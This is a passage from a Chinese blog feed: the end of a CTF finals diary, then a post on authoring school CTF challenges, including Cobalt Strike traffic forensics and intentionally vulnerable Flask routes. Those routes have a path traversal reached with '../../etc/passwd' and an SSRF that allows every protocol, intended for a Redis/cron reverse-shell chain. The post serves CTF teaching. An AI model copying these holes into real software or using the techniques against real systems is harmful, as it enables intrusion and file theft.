暴揍</del>）</p><p>后面队友也来了，我们就找个小笼包店吃了一笼小笼包垫肚子，然后报道去了</p><p>途中路过了超算中心</p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049126.jpg" style="zoom:25%;" /><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049180.jpg" style="zoom:25%;" /><p>最后走到了开幕式的地方</p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170048942.jpg" style="zoom:25%;" /><p>开幕式结束后，因为二队帮我们拿了报道的材料，然后我们就直接去了橘子洲</p><div class="fj-gallery"><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049519.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049562.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049713.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049772.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170048805.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170048981.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049228.jpg"></p>          </div><p>回到酒店也是快十点钟了，给我们的参赛证和衣服拍了个排排队的图</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170048680.jpg"></p><h3 id="Day-3-2025-5-18-Sun"><a href="#Day-3-2025-5-18-Sun" class="headerlink" title="Day 3 (2025.5.18 Sun.)"></a>Day 3 (2025.5.18 Sun.)</h3><p>第三天直接就去比赛了，比完赛出来是三点钟，我们又去了我们上次去过的地方——五一广场，主要是去觅食的</p><p>首先就有十六进制红绿灯</p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170048766.jpg" style="zoom:10%;" /><p>我们也是找了一家餐馆下了一趟馆子</p><div class="fj-gallery"><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170048901.jpg" alt="辣椒炒肉"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049660.jpg" alt="小炒黄牛肉"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049483.jpg" alt="包菜炒苕皮"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049843.jpg" alt="奶豆腐"></p>          </div><p>吃完了就去赶车了，这次的旅游就这样结束啦，回到学校已经快十一点了，洗洗睡啦</p><h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>怎么说呢，爆零乃兵家常事，下次加油就好啦~</p><p>旅游也是体验生活的一环，下次再来吧</p><p>这次的复盘也是拖了足够久啦，主要是刚好回来这周事情太多了，又要补作业又要做小组作业，所以各种各样的东西拖慢了本文出厂的速度，不过磨着磨着还是给它磨出来了</p><p>后面期待在网上看到其他师傅在本次比赛中的思路吧，我们队也有很多不足，不过都过去了٩(•̤̀ᵕ•̤́๑)ᵎᵎᵎᵎ</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="Diary" scheme="https://bili33.top/tags/Diary/"/>
    
    <category term="CCSSSC" scheme="https://bili33.top/tags/CCSSSC/"/>
    
  </entry>
  
  <entry>
    <title>记第一次为 CTF 比赛出题的经历和踩过的坑</title>
    <link href="https://bili33.top/posts/The-First-Experience-of-Making-CTF-Challenges/"/>
    <id>https://bili33.top/posts/The-First-Experience-of-Making-CTF-Challenges/</id>
    <published>2025-05-03T19:54:33.000Z</published>
    <updated>2026-03-31T05:59:59.350Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h1><p>事情的起因是这样的，我们学校准备办一个什么IT科创嘉年华，然后想办一场名为“网安卫士”的比赛，所以理所应当地找到了我们学校的攻防工作室来出题，自然也就联系上了我</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/ctH6Dc6evQ.png"></p><p>诶不是，有这等好事？那我当然要来掺和一脚嘛，顺带拉上了我们队的其他队员，我们一起为学校的比赛出题</p><h1 id="筹备期"><a href="#筹备期" class="headerlink" title="筹备期"></a>筹备期</h1><p>最开始告诉我们比赛的时间在 2025.4.25 - 2025.4.27，然后我们开了个在线文档就开始出题了，出题难度是这么跟我们说的</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/TH53TUIjE7.png"></p><p>就是比 <a href="/posts/ADCTF2024-Writeup/">ADCTF</a> 还要简单，要宝宝巴士难度，让我们弄一些能用常用工具一把梭的</p><p>但其实我已经有一些题目的雏形了，于是我先出了我的一道简单题</p><h2 id="出题：Herta’s-Voidterm"><a href="#出题：Herta’s-Voidterm" class="headerlink" title="出题：Herta’s Voidterm"></a>出题：Herta’s Voidterm</h2><blockquote><p>题目源码：<a href="https://github.com/GDUTMeow/Challenge-Hertas-Voidterm">https://github.com/GDUTMeow/Challenge-Hertas-Voidterm</a></p></blockquote><p>这道题的玩法参考了 Hackergame 2024 的那个终端题（忘了叫啥了），我前些阵子把我网站的 404 页面换成了 Voidterm（随便访问一个不存在的页面你就能看到了），然后我当时在我的这个终端里面塞了 3+1 个 flag（原来是 3 个，后面加了一个），我想把这个拿来出题，于是就有了 MISC 题：Herta’s Voidterm</p><p>这道题目分成了三部分，我先把题目描述放在下面</p><blockquote><p>你发现你一不小心获取到了黑塔女士的终端权限，于是你决定寻找一下黑塔女士的小秘密~</p><ul><li>据说环境中好像有什么不一样的东西？</li><li>终端里面好像有个网址无法访问？</li><li>好像有一张奇怪的图片诶？！</li></ul></blockquote><p>因为一开始就说了是宝宝巴士的难度，所以我第一个题目做的是 env 访问环境变量的解题方式，直接输入 env 查看环境变量就能看到 flag 了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_MmOaZQgEkY.png"></p><p>这题我自认为确实是宝宝巴士难度，而且我给的提示够明显了</p><p>在考虑 flag 的内容的时候，我最开始想到的是小黑塔跟大黑塔编入同一队伍时会有的那个语音</p><blockquote><p>小黑塔：黑塔女士举世无双，黑塔女士聪明绝顶，黑塔女士沉鱼落雁</p></blockquote><p>然后我去搜了这个语音的英语原文，为</p><blockquote><p>Herta: Madam Herta is a peerless gem. Madam Herta is an unrivalled genius. Madam Herta is an inimitable beauty.</p></blockquote><p>然后简单 Leet 一下就有了第一个 flag</p><p>接着就开始考虑第二题，之前出那个自己网站上 +1 的题目的时候就想到了之前在 BaseCTF 上做过一道题目，给了一个域名但是无法访问，它那个题目把 flag 丢在了 txt 记录里面</p><p>所以我也学着做这样的一个题目，我把第二题的 flag 丢在了我的某个子域名上，然后把这个域名丢到了我这个模拟终端的 <code>/etc/hosts</code> 里面，于是你可以看到提示写的是 <code>终端里面好像有个网址无法访问？</code> ，使用 <code>cat /etc/hosts</code> 就能看到我这个域名了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">100.100.100.100 th3-h3rt4.bili33.top</span><br></pre></td></tr></table></figure><p>于是我就可以打成让参赛选手用 <code>nslookup</code> 或者 <code>dig</code> 查询域名来得到 flag 的方法</p><p>接着就来到了第三部分，既然是 MISC 题，肯定不能少了传统的隐写。而且之前大黑塔的 PV 里面有一个很可爱的 Chibi 黑塔</p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/D41EF8677541AE73B335CDCC3F117E8F.jpg" height="50%" width="50%"><p>于是我就拿着这张图来做图片隐写，实现了一张图两用：修改高度和文件尾藏脏数据</p><p>又刚好在 ADCTF 做了 rkk 的 Black MIDI 那个题目，那个题目采用了 AES 的加密方式，于是我也想用 AES 的加密方式</p><p>所以我就把 key 和 iv 一个藏在文件尾，一个藏在 IHDR 高度爆破的底下，但是怎么给加密的数据呢？于是我想到了可以直接在第一题的 env 里面塞，然后我又把加密后的内容放在了 env 里面名为 SECRET 的变量中，细心的参赛选手一定能解出来吧 (*^▽^*)</p><h2 id="消息不同步"><a href="#消息不同步" class="headerlink" title="消息不同步"></a>消息不同步</h2><p>本来我们商定的比赛时间是 2025.4.25 - 2025.4.27，是四人团队赛，结果发推文的时候跟我说变成两周了？？？（WTF两周还打什么团队赛啊），于是我们决定提升产能并上难度了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/9g66MztajT.png"></p><h2 id="出题：Play-CS-with-Me"><a href="#出题：Play-CS-with-Me" class="headerlink" title="出题：Play CS with Me"></a>出题：Play CS with Me</h2><blockquote><p>题目相关附件：<a href="https://github.com/GDUTMeow/Challenge-Play-CS-with-Me">https://github.com/GDUTMeow/Challenge-Play-CS-with-Me</a></p></blockquote><p>这题的灵感来源于<a href="/posts/CTF-West-Lake-2025-Preliminary-round-Writeup/">西湖论剑的 CSCS</a>，那个题目是 Cobalt Strike + Counter Strike 1.6，说实话我到现在都还没弄明白 <a href="https://github.com/rehlds/rehlds">ReHLDs</a> 怎么用，但是不妨碍我出这类型的取证，我先把题目描述丢在下面</p><blockquote><p>Luminoria 在看色图的时候电脑中招啦，黑客从他的电脑里面偷走了一些东西，请你找到黑客拿的东西吧（哦内该</p><ul><li>1、请你以木马的文件名（包括后缀）计算 md5 后，用 <code>flag&#123;&#125;</code> 包裹即为第一题的 flag</li><li>2、请找到黑客拿走的日志文件，以其内容计算 md5 后，用 <code>flag&#123;&#125;</code> 包裹即为第二题的 flag</li><li>3、请你找到 Luminroia 看的色图，色图即为 <code>flag</code></li></ul><blockquote><p>如果黑客的木马文件名为 <code>beacon.exe</code>，则应该使用 <code>beacon.exe</code> 进行 md5 计算得到 <code>c834b9aa0d91d8a309db78786b7e3a03</code>，则这题的 flag 为 <code>flag&#123;c834b9aa0d91d8a309db78786b7e3a03&#125;</code></p></blockquote><blockquote><p>假设从流量中提取到的文件为 abc.txt，里面的内容为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Hello World!!!</span><br><span class="line">THIS IS AN EXAMPLE LOL</span><br></pre></td></tr></table></figure><p>应该拿着此文件中的所有内容去计算 MD5，算得结果为 <code>f9b80cd2e0116766a8729570cf036608</code>，则包裹后为 <code>flag&#123;f9b80cd2e0116766a8729570cf036608&#125;</code> 即为本题的 flag</p></blockquote></blockquote><p>为了出这个取证，我先是去装了两台虚拟机（其实是装了一台，然后复制了），并且为了减少 Windows 系统自身的流量造成的干扰，我特意用了 Tiny11 来做这个题目的附件</p><p>然后我掏出了在我硬盘里吃灰的 Cobalt Strike，就开始出题了</p><p>本来我最开始的思路是只砍掉 ReHLDs 部分，所以我更换了 Cobalt Strike 的 key，结果我自己做的时候发现……</p><p><strong>我！T！M！爆！不！出！来！私！钥！</strong></p><p>那这宝宝巴士车更爆不出来了，所以我最后决定不更换这个 key，又因为我使用的 CS 是流传出来的一个版本，所以它的私钥是已知的，然后就省去了爆破的过程</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key</span><br></pre></td></tr></table></figure><p>当参赛选手用 <code>1768.py</code> 分析的时候，就会出现上面这里最后写的 <code>Has known private key</code>，用 <code>-V</code> 参数就可以提取出来，变相降低难度了</p><p>我最后想的攻击链路是这样的：</p><p><code>给肉鸡配置 SSLKEY 导出</code> -&gt; <code>肉鸡打开wireshark开始抓包</code> -&gt; <code>肉鸡开始访问我放在 Cloudflare R2 上的含有 flag 的图片</code> -&gt; <code>关闭抓包和浏览器</code> -&gt; <code>攻击机生成 Beacon</code> -&gt; <code>再次打开肉鸡的 Wireshark 抓 CS 流量</code> -&gt; <code>将 Beacon 复制到肉鸡并运行</code> -&gt; <code>攻击机发送命令，下载文件</code></p><p>然后我也这么做了，实际操作也没什么问题（出了操作的次序出了问题然后我 retry 了好几次）</p><p>就在我自己做的时候，我发现一个问题：我导出来的访问 flag 图片的数据包中过滤 http 没有我的 flag 图啊喂！</p><p>我一开始以为是 Cloudflare 的问题，换了 Github Pages 来抓，结果还是没有，结果一看协议统计</p><p><strong>这东西是 <code>HTTP/2.0</code> 流量！！！</strong></p><p>好吧，<strong>HTTP&#x2F;2.0</strong> 对参赛选手不是不能做，只是过滤参数从 <code>HTTP</code> 变成了 <code>HTTP2</code> 而已</p><p>于是这题就理所应当地出来了（坏笑٩(•̤̀ᵕ•̤́๑)ᵒᵏᵎᵎᵎᵎ</p><p>我把这题丢上了文档，并标注了三个 <code>HARD</code> 难度，等待这题能够爆零然后新生赛复用，诶嘿~☆</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/play-cs-with-me-on-sheet.png"></p><h2 id="群里猫娘趣事"><a href="#群里猫娘趣事" class="headerlink" title="群里猫娘趣事"></a>群里猫娘趣事</h2><p>很快我们发现 web 题太少了，于是我们打算出点 web 题目，这个时候看到队友 Ron 的题目没起名字，于是我给了他一张图</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/uq8zMK8Dft.png"></p><p>你可以在我的 Telegram 频道中找到这张图：<a href="https://t.me/PaffChannel/2138">https://t.me/PaffChannel/2138</a></p><p>不过他好像没用上 &#x3D;-&#x3D;</p><h2 id="Web-题都是简单题"><a href="#Web-题都是简单题" class="headerlink" title="Web 题都是简单题"></a>Web 题都是简单题</h2><p>很快 web 题就出来很多了，但是都标的 ez</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/Web-is-so-ez.png"></p><p>于是我们决定给 web 题上点难度</p><h2 id="升旗"><a href="#升旗" class="headerlink" title="升旗"></a>升旗</h2><p>没错，那一周刚好轮到我们计算机学院升旗了，还是周一（周一满课，早八高数）……好吧，睡个觉去</p><h2 id="出题：你真的懂-Base-嘛"><a href="#出题：你真的懂-Base-嘛" class="headerlink" title="出题：你真的懂 Base 嘛"></a>出题：你真的懂 Base 嘛</h2><p>此时我发现我们 Crypto 没有题目，于是我打算来出第一题</p><p>题目内容如下</p><blockquote><p>为什么我的 Base 是乱码？好像说来自一个小蓝鸟公司？还与 2 的 11 次方有关？最后还可以一把梭？</p></blockquote><blockquote><p>题目源码：<a href="https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base">https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base</a></p></blockquote><p>因为说了要宝宝巴士难度，所以我想到先来个 Base</p><p>但是只有 Base 也太太太太太简单了，所以我要来点好玩的</p><p>恰巧之前看过 Twitter 有个 Base2048，然后 Basecrack 可以一把梭，于是我就把这两个东西给结合起来，整了个两步梭的 Base 题目</p><p>我先把 flag 通过 Base62 -&gt; Base64 -&gt; Base58 -&gt; Ascii85 -&gt; Base92 -&gt; Base32（就只要是不会让 BaseCrack 产生误判的方式都用上了），然后再套一个 Base2048，就完活啦！</p><h2 id="出题：Data-Cleaning"><a href="#出题：Data-Cleaning" class="headerlink" title="出题：Data Cleaning"></a>出题：Data Cleaning</h2><p>因为现在的 MISC 题目有点往取证、数据安全和 Web3 的趋势了，所以我也想来弄点数据安全的题目，于是就有了这道题</p><blockquote><p>题目源码：<a href="https://github.com/GDUTMeow/Challenge-DataCleaning">https://github.com/GDUTMeow/Challenge-DataCleaning</a></p></blockquote><blockquote><p>你的上司交给你了一份名单，这份名单是公司里面所有人员的个人信息，包含了以下内容，且有规则</p><ul><li>序号</li><li>姓名：不能包含数字、字母</li><li>性别：只有男&#x2F;女</li><li>身份证号：按照身份证号的校验规则合法</li><li>用户名：只包含字母和数字，数字不能作为开头</li><li>密码：随机生成的，题目保证一定不包含 <code>,</code> <code>&#39;</code> <code>&quot;</code> 三个符号</li><li>签名：对于每个用户都有一个RSA证书，对应序号保存在cert文件夹中，使用此证书对 <code>用户名_密码_身份证号</code> 进行签名（签名传入的字符串中如规则所述用了下划线连接，使用的是最为常见的填充方式，可以搜搜 <code>Cryptographic Token Information Format Standard</code>）</li></ul><p>现在老板发现这份名单中有些问题（即不满足以上条件），请你把不符合条件的序号挑出来，用下划线从小到大连接</p><p>例如，不合法的序号有 <code>114</code> <code>514</code> <code>1919</code>，则应该连接为 <code>114_514_1919</code></p><p>最后用连接后的字符串进行 md5 运算（小写，32位）后得到的结果，使用 <code>flag&#123;&#125;</code> 包裹后提交</p></blockquote><p>这道题我是直接上网找出题脚本然后用 Deepseek 改了一下的，问就是我懒狗，然后第一次 Deepseek 给我改的是用的 MGF1，然后我们测题的时候就反映做不出来</p><p>那当然了，MGF1 的参数也太麻烦了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/18c83aa9aadc048f6bd7cf58f9103fd.png"></p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/nMkKl1LKov.png"></p><p>然后就回去找到对话，让 DS 给我改成了用 PKCS1_15，这样也好猜一点，就有了这一题，然后我又在签名那里加了 <code>Cryptographic Token Information Format Standard</code> 的提示</p><p>为了让宝宝巴士能够宝宝一点，我真是费尽了心思（擦汗</p><h2 id="出题：登录-PRTS-1"><a href="#出题：登录-PRTS-1" class="headerlink" title="出题：登录 PRTS 1"></a>出题：登录 PRTS 1</h2><blockquote><p>普瑞赛斯（Priestess）在 Abyss 中封禁了刀客塔在 PRTS 中的账号，身为刀客塔的你要想尽一切办法获取 PRTS 的权限（但是一定要登录刀客塔的账号吗？</p><p><strong>本题构建容器所需要的时间较长，请提前点击构建容器按钮！</strong></p><blockquote><ul><li>刀客塔的账号密码<ul><li>Username: VFTS352</li><li>Password: 48399110</li></ul></li><li>不要在意网站壁纸，找不到好看的 PRTS 图了</li></ul></blockquote></blockquote><blockquote><p>题目源码：<a href="https://github.com/GDUTMeow/Challenge-Login-PRTS">https://github.com/GDUTMeow/Challenge-Login-PRTS</a></p></blockquote><p>这道题主要是因为明日方舟更新了第十五章，然后第十五章里面我们跟牢普操纵的 PRTS 来了一场酣<del>畅</del>淋<del>漓</del>的战斗，然后我就想用舟舟的这个出一个题目</p><p>恰好之前暑假参加山石的三天训练营的时候，我做的那一道 Web 题是在 Cookie 塞的目录穿越，然后我就想弄一个目录穿越，但是不太明显的那种</p><p>最开始我的设定是在 Cookie 中有个 user 字段，更改 user 字段来返回不同的文件，所以我的代码一开始是这样写的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/api/get_avatar&quot;</span>, methods=[<span class="string">&quot;GET&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">avatar_handler</span>():</span><br><span class="line">    cookie = request.cookies</span><br><span class="line">    username = cookie.get(<span class="string">&quot;user&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> send_file(<span class="string">&quot;static/img/&quot;</span> + username + <span class="string">&quot;.png&quot;</span>)</span><br></pre></td></tr></table></figure><p>但是我发现了一个问题，就是这样的话会固定带 <code>.png</code> 文件后缀，如果我输入的是 <code>../../../../../../etc/passwd</code> 的话，会变成返回 <code>static/img/../../../../../../etc/password.png</code>，这是有问题的</p><p>所以我最后只能改成参数给 <code>filename</code>，变相的变简单了一点</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/api/get_avatar&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">avatar_handler</span>():</span><br><span class="line">    file = request.args.get(<span class="string">&quot;filename&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> send_file(<span class="string">&quot;static/img/&quot;</span> + file)</span><br></pre></td></tr></table></figure><p>这样就有了这道题的第一问</p><h2 id="出题：登录-PRTS-2"><a href="#出题：登录-PRTS-2" class="headerlink" title="出题：登录 PRTS 2"></a>出题：登录 PRTS 2</h2><p>本来这题没想出第二问的，但是但是，上面说到群里说 <code>Web 都是简单题</code>，然后我就在这题的基础上上难度了</p><p>本来是想照搬 VNCTF 的思维导图的那个玩法的，但是我队友说建议放在新生赛，所以只好作罢</p><p>而刚好在 CCSSSC2025 的初赛，有一题叫 CachedVisitor，跟思维导图那个题有异曲同工之妙，都是利用了 SSRF + dict 协议的玩法，所以我就按照这个玩法来出了这个第二题，又因为 SSRF + dict 的打法一般都是 Redis 通过 cron 反弹 shell，所以我就按照这个思路来了</p><p>首先我又加了一个路由，可以实现 SSRF</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/api/get_resource&quot;</span>, methods=[<span class="string">&quot;POST&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">resource_handler</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        data = request.get_json()</span><br><span class="line">        target_url = data.get(<span class="string">&quot;url&quot;</span>)</span><br><span class="line">        resp = requests.get(url)</span><br><span class="line">        <span class="keyword">return</span> jsonify(</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">&quot;code&quot;</span>: <span class="number">200</span>,</span><br><span class="line">                <span class="string">&quot;success&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">                <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">                    <span class="string">&quot;url&quot;</span>: target_url,</span><br><span class="line">                    <span class="string">&quot;content&quot;</span>: resp.text</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        )</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> jsonify(</span><br><span class="line">        &#123;</span><br><span class="line">                <span class="string">&quot;code&quot;</span>: <span class="number">500</span>,</span><br><span class="line">                <span class="string">&quot;success&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">                <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">                    <span class="string">&quot;url&quot;</span>: target_url,</span><br><span class="line">                    <span class="string">&quot;content&quot;</span>: resp.text</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        )</span><br></pre></td></tr></table></figure><p>然后很快我就发现一个问题，<code>requests</code> 库不支持 <code>dict://</code> 协议，而 <code>httpx</code> 库也是一样的</p><p>于是我就去看有没有什么现成的库能够实现 Python3 对 <code>dict://</code> 协议的支持，但是找到的基本都是 Python2 的</p><p>这时，我突然想起了我们平时用的 <code>curl</code>，我在想这东西有没有可能支持 <code>dict://</code> 协议，然后我试了一下，果然可以，于是我的目标就转向了 <code>curl</code></p><p>最开始我是用 <code>os.popen</code> 来运行 curl 的，但是好像有点问题，它会带着 curl 的那个请求时间什么的信息出来</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; os.popen(&quot;curl https://baidu.com&quot;).read()</span><br><span class="line">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span><br><span class="line">                                 Dload  Upload   Total   Spent    Left  Speed</span><br><span class="line">100   161  100   161    0     0    482      0 --:--:-- --:--:-- --:--:--   487</span><br><span class="line">&#x27;&lt;html&gt;\n&lt;head&gt;&lt;title&gt;302 Found&lt;/title&gt;&lt;/head&gt;\n&lt;body bgcolor=&quot;white&quot;&gt;\n&lt;center&gt;&lt;h1&gt;302 Found&lt;/h1&gt;&lt;/center&gt;\n&lt;hr&gt;&lt;center&gt;bfe/1.0.8.18&lt;/center&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n&#x27;</span><br></pre></td></tr></table></figure><p>然后我还得自己手动处理，这会变得比较麻烦，后面查了一下发现有个 <code>pycurl</code> 库可以用</p><p>于是就有了第二版的路由</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/api/get_resource&quot;</span>, methods=[<span class="string">&quot;POST&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">resource_handler</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        data = request.get_json()</span><br><span class="line">        target_url = data.get(<span class="string">&quot;url&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 移除所有协议和端口限制</span></span><br><span class="line">        parsed = urllib.parse.urlparse(target_url)</span><br><span class="line"></span><br><span class="line">        buffer = BytesIO()</span><br><span class="line">        c = pycurl.Curl()</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 全协议支持配置</span></span><br><span class="line">        c.setopt(pycurl.URL, target_url.encode(<span class="string">&quot;utf-8&quot;</span>))</span><br><span class="line">        c.setopt(pycurl.WRITEDATA, buffer)</span><br><span class="line">        c.setopt(pycurl.PROTOCOLS, pycurl.PROTO_ALL)  <span class="comment"># 允许所有协议</span></span><br><span class="line">        c.setopt(pycurl.SSL_VERIFYPEER, <span class="number">0</span>)</span><br><span class="line">        c.setopt(pycurl.SSL_VERIFYHOST, <span class="number">0</span>)</span><br><span class="line">        c.setopt(pycurl.TIMEOUT, <span class="number">15</span>)</span><br><span class="line">        c.setopt(pycurl.FOLLOWLOCATION, <span class="number">1</span>)  <span class="comment"># 允许重定向</span></span><br><span class="line">        c.setopt(pycurl.MAXREDIRS, <span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 特殊协议处理</span></span><br><span class="line">        <span class="keyword">if</span> parsed.scheme == <span class="string">&quot;file&quot;</span>:</span><br><span class="line">            c.setopt(pycurl.UNRESTRICTED_AUTH, <span class="number">1</span>)  <span class="comment"># 允许本地文件访问</span></span><br><span class="line">            c.setopt(pycurl.PATH_AS_IS, <span class="number">1</span>)  <span class="comment"># 保留路径格式</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># 执行请求</span></span><br><span class="line">        c.perform()</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 获取原始响应</span></span><br><span class="line">        content = buffer.getvalue().decode(<span class="string">&quot;utf-8&quot;</span>, errors=<span class="string">&quot;replace&quot;</span>)</span><br><span class="line">        status_code = c.getinfo(pycurl.RESPONSE_CODE)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 统一响应格式</span></span><br><span class="line">        <span class="keyword">return</span> 